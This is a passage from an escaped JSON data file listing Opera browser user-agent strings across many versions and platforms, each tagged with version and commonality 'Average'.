Version\\/11.52\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Opera\\/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto\\/2.1.1\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; en) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.2.15 Version\\/10.10\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; zh-tw) Presto\\/2.8.131 Version\\/11.10\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.29 Safari\\/537.36 OPR\\/15.0.1147.24 (Edition Next)\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.92\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.52 Safari\\/537.36 OPR\\/15.0.1147.130\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Opera\\/9.50 (Nintendo DSi; Opera\\/507; U; en-US)\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.57 Safari\\/537.36 OPR\\/18.0.1284.49\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36 OPR\\/51.0.2830.34\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.76 Safari\\/537.36 OPR\\/19.0.1326.56\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36 OPR\\/22.0.1481.0 OMI\\/4.2.12.48.ALSAN3.56\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv6l; Opera TV Store\\/5599; (SonyBDP\\/BDV13)) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.49\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.3.7; Linux; Opera Mobi\\/46154) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.154 Safari\\/537.36 OPR\\/20.0.1387.91\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3053.3 Safari\\/537.36 OPR\\/46.0.2573.0 (Edition developer)\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36 OPR\\/33.0.1990.115\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.20 Safari\\/537.36  OPR\\/15.0.1147.18 (Edition Next)\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.137\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov; U; en) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.12 Safari\\/537.36 OPR\\/14.0.1116.4\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.80\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto\\/2.9.168 Version\\/11.52\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv6l; Opera TV Store\\/5606; (SonyBDP\\/BDV14)) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36 OPR\\/28.0.1750.40\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; Edition Linux Mint) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; sv) Presto\\/2.12.423 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Safari\\/537.36 OPR\\/41.0.2246.110333\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ro) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 